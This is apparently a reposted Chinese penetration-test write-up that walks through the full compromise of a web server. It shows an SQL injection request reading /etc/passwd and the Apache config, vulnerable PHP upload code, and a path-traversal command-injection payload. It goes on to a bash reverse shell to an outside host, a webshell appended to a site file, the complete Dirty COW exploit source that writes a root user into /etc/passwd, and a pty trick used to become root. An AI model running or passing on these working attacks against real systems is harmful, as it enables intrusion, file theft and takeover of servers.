###1.sql注入
注入点在登陆处
POST /login_db.php HTTP/1.1 Host: wap.target.com Content-Length: 374 Accept: */* Origin: http://wap.target.com X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://wap.target.com/login.php Accept-Encoding: gzip, deflate Cookie: PHPSESSID=r8ma3p8rlqbepb57e7d2mb1q76 Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Connection: close regacct=18100000000' union select 1,2,3,4,5,6,7,8,9,101,1,2,3,4,5,6,7,8,9,102,1,2,3,4,5,6,7,8,9,103,1,2,3,4,5,6,7,8,9,104,1,2,3,4,5,6,7,8,9,load_file('/etc/passwd'),1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6#®pass=123456 |
响应信息为:
HTTP/1.1 200 OK Date: Thu, 12 Apr 2018 03:28:03 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.6 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Pragma: no-cache Content-Length: 5 Connection: close Content-Type: text/html; charset=UTF-8 ok |
由此可判断服务器后端为apache程序
利用sql注入漏洞读取
/etc/httpd/conf/httpd.conf 可以找到web文件的具体路径。 <VirtualHost x.x.x.x> DocumentRoot "/var/www/html/error" ServerName 127.0.0.1 DirectoryIndex index.php </VirtualHost> <VirtualHost x.x.x.x> DocumentRoot "/var/www/html/interface" ServerName android.target.com DirectoryIndex index.php </VirtualHost> <VirtualHost x.x.x.x> DocumentRoot "/data/apk" ServerName apk.target.com DirectoryIndex index.php </VirtualHost> <VirtualHost x.x.x.x> DocumentRoot "/var/www/html/www" ServerName www.target.com DirectoryIndex index.php </VirtualHost> <VirtualHost x.x.x.x> DocumentRoot "/var/www/html/wap" ServerName wap.target.com DirectoryIndex index.php </VirtualHost> <VirtualHost x.x.x.x> DocumentRoot "/var/www/html/ngsadmin" ServerName guanli.target.com DirectoryIndex managercheck.php <Directory "/var/www/html/ngsadmin"> AllowOverride AuthConfig Order allow,deny Allow from all </Directory> </VirtualHost> |
尝试写webshell,发现权限不够,只能在/tmp目录下写东西。
只能根据页面信息读php源码进行白盒审计。
页面直接访问的接口都看了一遍。发现一处本来可以攻击的傻逼代码。
$ids=json_decode(stripcslashes($_POST['json'])); foreach($ids as $id) { $sql="select dataname from sys_database where id=$id"; $row=$db->executesql($sql); $backname=$row["backname"]; exec("rm -rf /home/database/".$backname); $sql="delete from sys_database where id=$id"; $db->execute($sql); } |
本来可以通过构造json参数,利用注入的漏洞伪造backname查询结果实现命令执行,结果他select的是dataname, 取的是backname,这个肯定结果是NULL,导致无法命令执行。这应该是程序员写的BUG。
继续看其他源码。
###2.命令执行
当我查看一个传真上传页面时,代码如下:
<?php session_start(); $accoutcode=$_POST['accoutcode']; $faxphone=$_POST['m_faxphone']; $filenamea=$accoutcode; if(@move_uploaded_file($_FILES['m_filename']['tmp_name'], "/usr/local/ngswitch/fax/$filenamea")) { exec("python /usr/bin/unoconv -f pdf /usr/local/ngswitch/fax/$filenamea"); exec("gs -q -sDEVICE=tiffg3 -dNOPAUSE -dBATCH -sOutputFile=/usr/local/ngswitch/fax/$filenamea.tif -f /usr/local/ngswitch/fax/$filenamea.pdf"); require("lib/Db.php"); $db=new Db(); $sql="insert into core_waitcall(busi_type,accountcode,call_caller,call_called,call_callid,faxfilename) values('callback_fax','$accoutcode','$faxphone','$faxphone','013945267450','$filenamea.tif')"; $db->execute($sql); $db->close(); } print "{success:true,msg:'传真提交成功!'}"; ?> |
我通过构造accoutcode参数可以控制exec里的参数导致任意命令执行。但是首先得通过move_uploaded_file($_FILES['m_filename']['tmp_name'], "/usr/local/ngswitch/fax/$filenamea")
, 一开始我直接传入111||rm /tmp/aaaa;
aaaa是我用注入漏洞写的一个文件,但是执行后我尝试重新写入,提示文件已经存在(我在源码里找到了mysql的密码,发现可以外连,尝试写入udf,发现插件目录没有权限写入。)。说明命令并没有执行。我在本地用
<?php session_start(); $accoutcode=$_POST['accoutcode']; $faxphone=$_POST['m_faxphone']; $filenamea=$accoutcode; var_dump($accoutcode); var_dump($faxphone); var_dump($_FILES['m_filename']['tmp_name']); var_dump(move_uploaded_file($_FILES['m_filename']['tmp_name'], "/usr/local/ngswitch/fax/$filenamea")); echo "python /usr/bin/unoconv -f pdf /usr/local/ngswitch/fax/$filenamea"; exec("python /usr/bin/unoconv -f pdf /usr/local/ngswitch/fax/$filenamea"); ?> |
测试,发现move_uploaded_file的过程返回了false。是第二个参数的文件。
这个点怎么绕过我想了一阵子,后来用传入
../../1||rm -rf /tmp/aaaa;/../../../2
的方式,拼接出了正确的目标路径,绕过了上传,又成功执行了命令。
###3. getshell
此处很简单,利用命令执行构造
../../../../1||bash -i >& /dev/tcp/myip/6666 0>&1;/../../../../../tmp/qqqq;
成功反弹shell, 这时我发现web目录下居然都没有可写权限。
最后,我发现interface目录下有个sms_reg.php的文件是可写权限,所以我选择追加信息,利用
echo 'webshell' >> sms_reg.php
写上webshell。
###4. 提权
到了这时候,我uname -a看了一下,发现是很早的发行版,利用github上找的脏牛提权poc提权。
这里跟大家分享下:
// // This exploit uses the pokemon exploit of the dirtycow vulnerability // as a base and automatically generates a new passwd line. // The user will be prompted for the new password when the binary is run. // The original /etc/passwd file is then backed up to /tmp/passwd.bak // and overwrites the root account with the generated line. // After running the exploit you should be able to login with the newly // created user. // // To use this exploit modify the user values according to your needs. // The default is "firefart". // // Original exploit (dirtycow's ptrace_pokedata "pokemon" method): // https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c // // Compile with: // gcc -pthread dirty.c -o dirty -lcrypt // // Then run the newly create binary by either doing: // "./dirty" or "./dirty my-new-password" // // Afterwards, you can either "su firefart" or "ssh firefart@..." // // DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT! // mv /tmp/passwd.bak /etc/passwd // // Exploit adopted by Christian "FireFart" Mehlmauer // https://firefart.at // #include <fcntl.h> #include <pthread.h> #include <string.h> #include <stdio.h> #include <stdint.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <stdlib.h> #include <unistd.h> #include <crypt.h> const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "firefart"; int f; void *map; pid_t pid; pthread_t pth; struct stat st; struct Userinfo { char *username; char *hash; int user_id; int group_id; char *info; char *home_dir; char *shell; }; char *generate_password_hash(char *plaintext_pw) { return crypt(plaintext_pw, salt); } char *generate_passwd_line(struct Userinfo u) { const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; int size = snprintf(NULL, 0, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); char *ret = malloc(size + 1); sprintf(ret, format, u.username, u.hash, u.user_id, u.group_id, u.info, u.home_dir, u.shell); return ret; } void *madviseThread(void *arg) { int i, c = 0; for(i = 0; i < 200000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n\n", c); } int copy_file(const char *from, const char *to) { // check if target file already exists if(access(to, F_OK) != -1) { printf("File %s already exists! Please delete it and run again\n", to); return -1; } char ch; FILE *source, *target; source = fopen(from, "r"); if(source == NULL) { return -1; } target = fopen(to, "w"); if(target == NULL) { fclose(source); return -1; } while((ch = fgetc(source)) != EOF) { fputc(ch, target); } printf("%s successfully backed up to %s\n", from, to); fclose(source); fclose(target); return 0; } int main(int argc, char *argv[]) { // backup file int ret = copy_file(filename, backup_filename); if (ret != 0) { exit(ret); } struct Userinfo user; // set values, change as needed user.username = "firefart"; user.user_id = 0; user.group_id = 0; user.info = "pwned"; user.home_dir = "/root"; user.shell = "/bin/bash"; char *plaintext_pw; if (argc >= 2) { plaintext_pw = argv[1]; printf("Please enter the new password: %s\n", plaintext_pw); } else { plaintext_pw = getpass("Please enter the new password: "); } user.hash = generate_password_hash(plaintext_pw); char *complete_passwd_line = generate_passwd_line(user); printf("Complete line:\n%s\n", complete_passwd_line); f = open(filename, O_RDONLY); fstat(f, &st); map = mmap(NULL, st.st_size + sizeof(long), PROT_READ, MAP_PRIVATE, f, 0); printf("mmap: %lx\n",(unsigned long)map); pid = fork(); if(pid) { waitpid(pid, NULL, 0); int u, i, o, c = 0; int l=strlen(complete_passwd_line); for(i = 0; i < 10000/l; i++) { for(o = 0; o < l; o++) { for(u = 0; u < 10000; u++) { c += ptrace(PTRACE_POKETEXT, pid, map + o, *((long*)(complete_passwd_line + o))); } } } printf("ptrace %d\n",c); } else { pthread_create(&pth, NULL, madviseThread, NULL); ptrace(PTRACE_TRACEME); kill(getpid(), SIGSTOP); pthread_join(pth,NULL); } printf("Done! Check %s to see if the new user was created.\n", filename); printf("You can log in with the username '%s' and the password '%s'.\n\n", user.username, plaintext_pw); printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n", backup_filename, filename); return 0; } |
利用反弹的shell进行编译,执行。
当我尝试su root提权为root时,提示:
standard in must be a tty
不是一个tty,服务器也没有开sshd服务,不能远程连接。
这个我以前都没有解决,这次网上搜了一下,发现可以用
python -c 'import pty; pty.spawn("/bin/sh")'
得到一个tty
再执行su root,输入密码,成功进入root权限。
上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。